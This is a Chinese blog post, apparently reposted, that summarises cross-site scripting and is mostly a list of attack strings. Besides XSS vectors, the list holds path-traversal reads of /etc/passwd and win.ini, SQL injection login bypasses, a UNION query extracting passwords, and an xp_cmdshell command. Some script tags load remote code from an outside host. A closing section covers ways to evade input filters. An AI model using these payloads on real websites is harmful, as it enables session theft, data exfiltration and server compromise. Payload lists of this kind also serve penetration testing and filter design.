zoukankan      html  css  js  c++  java
  • XSS知识的总结

    一、XSS简介

    跨站点脚本(Cross-site scripting,通常简称为XSS或跨站脚本或跨站脚本攻击)是一种站点应用程序的安全漏洞攻击,是代码注入的一种。它允许恶意用户将代码注入到网页上,其他用户在观看网页时就会受到影响。这类攻击通常包含了HTML以及用户端脚本语言。XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java, VBScript, ActiveX, Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容。

    二、XSS基本语句

    <script>alert(document.cookie)</script>
    ='><script>alert(document.cookie)</script>
    <script>alert(document.cookie)</script>
    <script>alert(vulnerable)</script>
    %3Cscript%3Ealert('XSS')%3C/script%3E
    <script>alert('XSS')</script>
    <img src="javascript:alert('XSS')">
    %0a%0a<script>alert(\"Vulnerable\")</script>.jsp
    %22%3cscript%3ealert(%22xss%22)%3c/script%3e
    %2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
    %2E%2E/%2E%2E/%2E%2E/%2E%2E/%2E%2E/windows/win.ini
    %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
    %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
    %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
    %3f.jsp
    %3f.jsp
    <script>alert('Vulnerable');</script>
    <script>alert('Vulnerable')</script>
    ?sql_debug=1
    a%5c.aspx
    a.jsp/<script>alert('Vulnerable')</script>
    a/
    a?<script>alert('Vulnerable')</script>
    "><script>alert('Vulnerable')</script>
    ';exec%20master..xp_cmdshell%20'dir%20 c:%20>%20c:\inetpub\wwwroot\?.txt'--&&
    %22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E
    %3Cscript%3Ealert(document. domain);%3C/script%3E&
    %3Cscript%3Ealert(document.domain);%3C/script%3E&SESSION_ID={SESSION_ID}&SESSION_ID=
    1%20union%20all%20select%20pass,0,0,0,0%20from%20customers%20where%20fname=
    ../../../../../../../../etc/passwd
    ..\..\..\..\..\..\..\..\windows\system.ini
    \..\..\..\..\..\..\..\..\windows\system.ini
    '';!--"<XSS>=&{()}
    <IMG SRC="javascript:alert('XSS');">
    <IMG SRC=javascript:alert('XSS')>
    <IMG SRC=JaVaScRiPt:alert('XSS')>
    <IMG SRC=JaVaScRiPt:alert("XSS")>
    <IMG SRC=javascript:alert('XSS')>
    <IMG SRC=javascript:alert('XSS')>
    <IMG SRC=javascript:alert('XSS')>
    <IMG SRC="jav    ascript:alert('XSS');">
    <IMG SRC="jav
    ascript:alert('XSS');">
    <IMG SRC="jav
    ascript:alert('XSS');">
    "<IMG SRC=java\0script:alert(\"XSS\")>";' > out
    <IMG SRC=" javascript:alert('XSS');">
    <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
    <BODY BACKGROUND="javascript:alert('XSS')">
    <BODY ONLOAD=alert('XSS')>
    <IMG DYNSRC="javascript:alert('XSS')">
    <IMG LOWSRC="javascript:alert('XSS')">
    <BGSOUND SRC="javascript:alert('XSS');">
    <br size="&{alert('XSS')}">
    <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
    <LINK REL="stylesheet" HREF="javascript:alert('XSS');">
    <IMG SRC='vbscript:msgbox("XSS")'>
    <IMG SRC="mocha:[code]">
    <IMG SRC="livescript:[code]">
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
    <IFRAME SRC=javascript:alert('XSS')></IFRAME>
    <FRAMESET><FRAME SRC=javascript:alert('XSS')></FRAME></FRAMESET>
    <TABLE BACKGROUND="javascript:alert('XSS')">
    <DIV STYLE="background-image: url(javascript:alert('XSS'))">
    <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html');">
    <DIV STYLE=" expression(alert('XSS'));">
    <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
    <IMG STYLE='xss:expre\ssion(alert("XSS"))'>
    <STYLE TYPE="text/javascript">alert('XSS');</STYLE>
    <STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
    <STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
    <BASE HREF="javascript:alert('XSS');//">
    getURL("javascript:alert('XSS')")
    a="get";b="URL";c="javascript:";d="alert('XSS');";eval(a+b+c+d);
    <XML SRC="javascript:alert('XSS');">
    "> <BODY ONLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
    <SCRIPT SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
    <IMG SRC="javascript:alert('XSS')"
    <!--#exec cmd="/bin/echo '<SCRIPT SRC'"--><!--#exec cmd="/bin/echo '=http://xss.ha.ckers.org/a.js></SCRIPT>'"-->
    <IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">
    <SCRIPT a=">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
    <SCRIPT =">" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
    <SCRIPT a=">" '' SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
    <SCRIPT "a='>'" SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
    <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
    <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>
    admin'--
    ' or 0=0 --
    " or 0=0 --
    or 0=0 --
    ' or 0=0 #
    " or 0=0 #
    or 0=0 #
    ' or 'x'='x
    " or "x"="x
    ') or ('x'='x
    ' or 1=1--
    " or 1=1--
    or 1=1--
    ' or a=a--
    " or "a"="a
    ') or ('a'='a
    ") or ("a"="a
    hi" or "a"="a
    hi" or 1=1 --
    hi' or 1=1 --
    hi' or 'a'='a
    hi') or ('a'='a
    hi") or ("a"="a

    三、XSS绕过过滤
    1、转义字符

    斜杠在JAVASCRIPT有着特殊的用途,它是转义的符号。

    例如:<script>alert('test');</script>的十六进制转移字符串为

    /x3C/x73/x63/x72/x69/x70/x74/x3E/x61/x6C/x65/x72/x74/x28/x27/x74/x65/x73/x74/x27/x29/x3B/x3C/x2F/x73/x63/x72/x69/x70/x74/x3E

    因为前面的斜杠缘故,所以后面的这些字符在JAVASCRIPT中都会被还原。

    这个方法对于八进制同样奏效。

    2、字符转义(先写上,暂时还没成功)

    \u003c和\u003e来代替<和>

    例如:

    [0xc0]\u003cscript[0xc0]\u003ealert('hello')\[0xc0]u003c/script[0xc0]\u003e

    3、用控制字符的ASCII码填充

    比如<IMG SRC="&#15;JavaScript:alert('XSS');">,如果你熟悉ASCII码,你应该 知道系统控制字符一共是33个,这里去掉一个头&#00(null)和一个尾&#127(del),其他31个字符 均可以顺利插入代码头部,对过滤系统进行混淆,并且不影响原代码执行,而且你依然可以用"代码插入 方式"中的"方案7"进行编码的任意转换。七种tab符&#9、换行符&#10、回车符&#13可以插到代码任何地方。

    4、插入混淆属性

    当我们进行一般的文字录入时会发现,并不是所有带"JavaSceipt"这样的字符都会被过滤掉。而是只有在html标签内的特殊字符会被滤掉,这使得我们有了令一套绕过措施,在插入代码的属性前面插 入另一混淆属性,并在该属性中插入让过滤系统误以为是标签结束符的字符,从而让过滤系统认为执行代码在html标签的外面。比如:

    <img src="abc>" onmouseover="[code]">            //插入混淆的src属 性
    <IMG """><SCRIPT>[code]</SCRIPT>">            //插入混 淆的双引号及 “>”符号
    <SCRIPT a=">" SRC="xss.js"></SCRIPT>            //插入混淆的a 属性

    5、用注释符分割

    由于浏览器会忽略掉每种代码的注释符,因此如果我们在代码中的注释符就可以成功地欺骗过滤 系统并且不影响XSS代码的正常运行。比如:

    <img style="xss:expr/*XSS*/ession([code])">            //css的注释符号 为/**/,其中的内容会被忽略
    <style>@im\port'\ja\vasc\ript:alert("XSS")';</style>            //css中忽略的符号还有“\”
    exp/*<A STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression (alert("XSS"))'>            //注释混淆后的样子
    <style><!--</style><script>[code]//-- ></script>            //html的注释符为<!--注释-->

    、突破XSS字符数量限制执行任意JS代码

    http://www.heibai.net/articles/technical/bianchengxiangguan/2009/0903/681.html

    五、利用窗口引用漏洞和XSS漏洞实现浏览器劫持

    http://www.myhack58.com/Article/html/3/7/2009/23165.htm

    先这么多吧,以后遇到了再更新。

    参考:

    【1】http://zh.wikipedia.org/wiki/%E8%B7%A8%E7%B6%B2%E7%AB%99%E6%8C%87%E4%BB%A4%E7%A2%BC

    【2】http://www.hackbase.com/tech/2009-08-24/55258.html

    【3】http://www.beidaqingniao.org/edu/c/gongfang/1107.html

    【4】http://security.zdnet.com.cn/security_zone/2011/0808/2051328.shtml?text1=a&submit=%CC%E1%BD%BB%B2%E9%D1%AF%C4%DA%C8%DD

    【5】http://www.hackbase.com/tech/2012-10-19/66888.html

    【6】http://chaoyueziwo21.blogbus.com/logs/20491494.html

    【7】http://www.heibai.net/articles/technical/bianchengxiangguan/2009/0903/681.html

  • 相关阅读:
    selenium基础(元素定位)
    python函数基础(函数的定义和调用)
    python语句结构(控制语句与pass语句)
    python语句结构(range函数)
    while语句结构(for循环)
    python语句结构(while循环)
    python语句结构(if判断语句)
    python基础语法(运算符及优先级)
    python基础语法(变量与数据类型)
    requests上传文件,又要上传data的处理
  • 原文地址:https://www.cnblogs.com/dgy5554/p/3973422.html
Copyright © 2011-2022 走看看